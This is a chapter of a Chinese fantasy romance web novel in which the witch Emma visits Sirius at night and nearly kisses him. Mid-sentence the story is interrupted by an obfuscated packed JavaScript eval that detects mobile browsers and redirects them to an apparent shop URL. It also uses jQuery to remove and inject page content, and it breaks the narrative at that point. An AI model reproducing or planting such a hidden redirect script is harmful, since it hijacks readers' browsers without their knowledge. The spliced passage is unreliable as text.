沉默了好一会儿,艾玛低声说:“我在想,我做这些真的有用吗?” “嗯——那个诅咒虽然是很麻烦,但女巫没有做不到的事。有艾玛你这份心,肯定能解决的啦。 “多了解点别人的魔法研究对我们没什么坏处,总有用得上的时候。但是把自己逼得太紧干什么呀,就算对女巫的身体没影响……但我看着都心疼了!” 拉贴过去嘀咕,拨了拨她的头发。 艾玛支在桌面的手臂缓缓下滑,半趴在桌上,从掩着脸的指缝间漏出低落的声音:“但我想,我也知道,西里斯并不想活下去。我这样做不是在为他考虑,是为了我自己。” “尊重自己的欲望,这不是很好嘛。” “西里斯一定会生气……” “气就气,有什么大不了的,活人谁还不会生气了。”拉撇撇嘴,单手用艾玛的发尾编辫子玩,“你真的介意就跟他多聊聊嘛,我感觉那小子是打感情牌很有效的类型耶。你只要把自己真实的心情表达出来就好了。” 艾玛闷了一会儿,说:“我怕吓到他。” “啊哈哈哈,说不定呢,哈哈哈哈。”拉没提疑义,反而乐了。 艾玛埋着头,低声喃喃:“我真的能不伤到他就解开这个诅咒吗?他会愿意接受吗?……我能留住他吗?万一他真的讨厌我了呢?” “好了,打住!”拉合掌清脆地拍了一下手,“现在不用想这么多,你就是太累了。 “人一旦累了,就很容易变得消极,本来满怀信心的事都会开始怀疑,我有时候也这样。 “所以你现在要紧的就是去睡一觉!睡醒之后,现在的困扰都会一下子减轻,觉得没什么大不了。好啦,走走走,我们去休息了——” 拉起身推推她肩膀,艾玛晃了晃,坐着没动,捂着脸,又沉默半天,很轻一句话低低地落下来:“……我想他了。” 拉眨了下眼睛。 艾玛又闷闷地补充:“有一周没见到西里斯了。” 拉只思考了两秒,就弯腰把艾玛横抱起来,转身就踢开了窗户:“那就去找他!” 艾玛犹豫一下:“但是……” “没什么可但是的,想见就去见!”拉声音轻盈,明亮地飘在夜风里,向艾玛弯起眼睛,“——而且,你现在心情不好。男朋友就是在这种时候更该派上用场。” 160.索取 西里斯还没睡,他很不容易疲劳,今晚本就没有休息的计划。尽管再过一个小时他可能就会开始后悔这件事。 最近他仍然时常去伊比奥的书房,跟他谈论历史相关的问题,没有闲逛的必要和心情,就没再去过城里。 在工作场所和自己的房间两点一线,接近于他在阿瓦托芬时的活动习惯。 或许是这种规律的作息给了他熟悉的稳定感,艾玛的手链也确实发挥了效果,西里斯的心情逐渐平静下来。只是偶尔还是有些不熟悉的不安和躁动,近来不时反复。 西里斯拿这说不清的情绪也没什么好办法,便刻意地忽视着,当自己没发现。 在能够更冷静地思考之后,西里斯也调整了目前面对艾玛的心态。 他的愤怒,他的仇恨,自有其理由,但这些都不是艾玛的错误,更不该由她承担。 他不应该为此对艾玛生气。 如果说那部分愤怒里有艾玛无法共情他的失望,也是他擅自期待的后果,艾玛本来就不是情感丰富的人,这种过高的期望本就不合理。他不应该把自己混乱的情绪发泄在艾玛身上。 西里斯提醒自己已经是个成熟的成年人,应该用更理性的方式跟艾玛沟通,幼稚的情绪化交流毫无效率,也不能解决任何问题。 西里斯给自己做好了心理建设,但艾玛有好一段时间没来找过他。 西里斯否认自己为此有一点低落。 她在忙于自己的研究,无论对他还是对艾玛都是件好事。 如果去打扰,反而也不知道该说什么。 艾玛没有主动来找他,大约也说明她其实没有那么需要他。 当然,艾玛早就已经长大,她的思考方式向来成熟,又是无所不能的女巫,如今有这样的独立和坚韧理所应当。 作为见证她成长的人,更应该感到欣慰。西里斯这样对自己说。 . 神殿的夜晚平静,风声甚至不足以震动窗门。 西里斯坐在桌边看书,直到预感划过脑海。 但声响与变动和他的预感一样快,又先于西里斯反应一步,碰的一声踢开了他的窗户,直接踢断了窗上的锁。 夜晚的风呼啦啦从外界灌进来,不比他想象得温和。 玻璃被巨大的动静踢出了裂纹,碎了半块,锁摇摇欲坠地挂在窗框上,两侧的窗帘飘舞着,桌面翻开的书也被吹乱了页数。 拉站在窗台上,横抱着艾玛,背后是明晃晃的月亮,她金绿色的眼睛在暗处仍然灼灼发光。 “嗨!晚上好。”拉很轻松地说,“你女朋友想你了。” . 在满地狼藉,房间被破窗而入的事实与恼火中,西里斯站在窗前,对在窗沿上蹲下来的拉握着拳,沉默了三秒,说:“……她不是我女朋友。” 拉呿一声,不满道:“话真多。你不要我走了。” 西里斯抓住了拉,手臂接在艾玛下方,冷冷道:“松手。” 拉倒没介意这幅态度:“那你接好哦。” 她说完很利落地松了手。 西里斯手臂上一沉,下意识把重心向自己倾斜稳住,至于一时将艾玛抱得很紧。 拉放下艾玛,表现出自己任务完成,毫不留恋地打了半个哈欠:“那你们聊,我回去睡了,拜。” 她摆摆手,起身从窗台后退一步,向空中栽倒,就像出现那样突然地消失了。 西里斯完全不担心拉会摔出什么事,她不止这点本领。 退一万步说,这里是二楼。 拉一消失,西里斯才回过神,因为她的突然出现和简洁迅速的对话,下意识做出的反应过于本能。 现在房间安静下来,只剩下两个人的呼吸,怀里的温度切实且柔软,西里斯有点僵住了。 他没说话,艾玛也没有说。 就这样一动不动僵硬地站了好一会儿,西里斯才低下目光,看见怀里的艾玛正望着他,眼神亮亮的。 西里斯感觉喉咙有些干涩,半晌才叫了一句:“……艾玛。” “嗯。”艾玛回应,弯起了眼睛,“我在想,西里斯很久没这样抱过我了。有点开心。” 西里斯移开目光,又沉默了数秒,才说:“能站稳吗?” “嗯。” 西里斯把她放下来,确认艾玛稳稳地落了地,才收回以防万一虚扶她的手。 “有什么事吗?”西里斯声音较低,在夜色里是温和的,似乎带点担忧的小心。 艾玛摇头:“我没有受伤,拉抱我过来,大概是觉得这样移动比较方便。” 她直直盯着西里斯,说:“就是有点想你了。” 不该是这样的时间和突然,至少不该是这样的方式。 西里斯想这样说,但能够承受这种怨言的拉早已顺滑地跑了。他对着艾玛说不出口。 西里斯不敢回应艾玛的目光,看了地上的碎玻璃一会儿,才抬起眼:“要出去走走吗?” . 神殿的夜晚寂静。快入冬的时节,却仍然有树凝着满枝的绿叶,风声里簌簌。 四季在神殿内并不分明,城区里倒是开始有过冬的气氛。拉最近便忙着相应的筹备。 他们走在楼下的院落内,偶尔碰见巡逻的守卫。 日神的信徒多早眠,深夜时没人平白地在院里散步。他们的谈话无人打扰。 年底的时候四处都繁忙,阿瓦托芬也同样。但艾玛暂时没有回去的打算,月神神殿的事务照旧交由议会和祭司们打理。 利利提亚通过传送门上的信筒送来过简略的报告和问候,总体上一切平稳,事事如常。 他们不乏这样深夜里单独谈话的机会,于是互相讲了几句,便找回了那种自然的熟悉感,西里斯也放松下来。 最近这段时间以来,他第一次觉得心里平静安稳,甚至带点轻飘的喜悦。 西里斯提了自己近来的日常。虽然乏善可陈,一如往日单调。 也就是陪伊比奥整理些资料,伊比奥总体上性格安静,很有情商和社交距离,西里斯跟他相处很省心,倒不讨厌这种模式。 吉尔伯特秉着对外宾的关怀与责任心,还有来找过他两次,见西里斯没什么需要,看起来适应得很好,就放心告辞了。 艾玛能讲的东西却出乎他意料的不多。 在阿瓦托芬见面时,艾玛总能跟他讲很多新鲜事。近来认识的人,遇到的趣事。 这次她却几乎没说什么,那些学习和研究的反复与辛苦轻飘飘地在口中带过。 但除此之外,这阵子她又没在其他事上花心思。 西里斯沉默一会儿,说:“你也不用那么着急……我可以等,十几年或者几十年都没什么。我没期望过它能被轻易解开,你不用有太大压力。” “但我不想等那么久。”艾玛低声说。 西里斯看见她眼角的阴影,偏过头,指尖擦过她眼边的皮肤:“你没休息好。” 艾玛停下步子,唔了一声。 她脸上带着淡淡的倦色,仿佛有点困了的孩子。 西里斯皱一下眉:“是跟拉一起睡被她打扰了?如果不习惯和别人同寝,你要跟她说。” “倒没有。她睡觉很安静。”艾玛替拉正名。 “……别把自己逼得太紧。”西里斯缓了缓声音,“如果你累了,就早点休息吧。我送你回去?” 艾玛抓住他衣角,摇摇头:“我想跟你再多待一会儿。而且,我晚上比较清醒。” “那白天多睡一会儿。”西里斯道。 艾玛点头,仍然盯着他。 很难形容,西里斯觉得有些轻微的怪异。 艾玛说话的语调和神态都和平常有些不同。他倒不疑心是什么法术,他的异常体质不受大多数法术影响,成熟的女巫亦然。 有契约在,他也不可能认错艾玛。 她喝酒了吗?西里斯有一瞬间这样想。 但没有闻到酒味,艾玛也已经不会喝醉了。 年纪小的时候,出于健康考虑,他几乎不让艾玛碰酒,只在她十六岁的生日宴时松了限制。 女巫的特性那时已经显现出来,她的酒量不差,被客人多劝了两杯。 散场时步履仍然很稳,跟人谈话也口齿清晰,逻辑明白,大家都以为她没醉。 但西里斯跟她讲善后的事情,艾玛却一直盯着他,没说话,他才感觉出不对。 艾玛喝醉了会更安静,话更加少,目光不太能长时间聚焦,看西里斯却很专注。 她抓着西里斯的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16806258|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不说话,也不放开。 西里斯陪她回了房间,让莫妮卡和雪莉照顾她。 说完晚安,艾玛仍看他一会儿,才慢慢把手放了。 记忆里,艾玛几乎没喝醉过,偶尔醉了也只是这种不怎么令人困扰的表现,自然就没有太放在心上。 艾玛现在看他的眼神和喝醉时有点像。 但她肯定没醉,眼睛很清醒的亮。或许疲劳带来了类似的表现。 艾玛抓着他衣角,就这样看了他一会儿,忽然说:“西里斯的生日是什么时候?” 西里斯停一下,说:“我不过生日。” “但是,你是1195年出生的话,马上就要两百岁了……吧?”艾玛算一算日期,点头,“整数岁的生日,比较重要。” 她看起来确实有些神思飘忽,西里斯决定不说太复杂的话。 “‘西里斯’这个名字是遇见你那天取的,你可以当那天是我的生日。” “这样啊!”艾玛似乎高兴了一下,又想了想,皱起眉,“但那天是我的生日。” “那只要那天你过得开心,就当给我庆祝生日了。” 艾玛又看着他想一会儿,觉得哪里不对,似乎有点不太高兴:“这样不对。” 西里斯没回答,艾玛也没想出所以然,片刻后一松眉心,神色又轻快起来,向他走了半步。 他们本来距离就近,拉近半步几乎等于靠在一起。 西里斯接住了她,防止艾玛脚步不稳。 “我的生日也快到了!”艾玛望着他,期待的目光亮闪闪的,“西里斯可以把你送给我当礼物吗?” 这下西里斯确定她状态不太正常了。艾玛平时不可能说这种话。 但也正因为这样,艾玛此刻说的话没必要太计较。 西里斯有点尴尬,又有些想笑。 艾玛的眼睛明亮,期待的目光纯粹,声音的尾调比平时更黏连,像小孩子一样。 西里斯心里软下来,面对这样的艾玛,想着还是讲点更温和的回答。 他说:“我本来就是你的。” 那话仿佛没过脑子就自然地说出了口。 说完西里斯僵住了,艾玛也愣了一下。 “是吗?”艾玛问。 西里斯虽然不觉得自己有多看重自尊,但是能这么顺理成章地把这种话说出口,不禁觉得自己的底线大约比自己以为的还低。总不能是他真的下意识这么认为? “……毕竟,按照我们的约定,我的命是你的。”西里斯说,自己也认同这种解释。 作为客观事实,这回答也够标准了。 艾玛却仍然盯着他,目光忽然变深了。 她抓住了西里斯的手臂,西里斯已经退无可退,艾玛却又往前靠过去。 “不够。”她盯着西里斯的眼睛,手上的力气越来越紧,“还不够。我要的不仅仅是性命,更多,全部。” “艾玛!”西里斯反应过来,试图叫停。 “——你为什么不喜欢我呢?”艾玛轻声说,似乎很委屈地,“为什么不能像我喜欢你一样喜欢我呢? “如果性命和身体你都不要,那剩下的灵魂又要交给谁?你可以喜欢我吗?怎么样才能让你接受?” 艾玛的指尖攀上他身体,触感让西里斯发麻,心跳的节奏被打散了,不均匀地落在每一处肌肤相触的位置。 她的呼吸向上爬,手心贴到他胸口。 在急促的鼓动声里,一瞬间寂静下来。 艾玛望着他的眼睛,忽然困惑般,从那迫切的连问里停住了。 在很近的位置,彼此间的一切触感都被细微地放大。 她很小声地说:“我可以亲你吗?” . 抓住了那片刻的凝滞和空白,西里斯压住艾玛的肩膀,把她推回安全距离。 艾玛好像有点恍惚,并没有给出更大的阻力。 西里斯抓准她还没反应过来的时机,匆匆放下一句“我先走了”就迅速离开了现场。 心跳的震颤过于密集,仿佛要麻痹大脑。 西里斯抓住胸口,指尖冰凉,胸前的温度却滚烫。 艾玛在原地愣愣地站了一会儿,看向自己的手,指尖压到唇边,低声说:“……差一点。”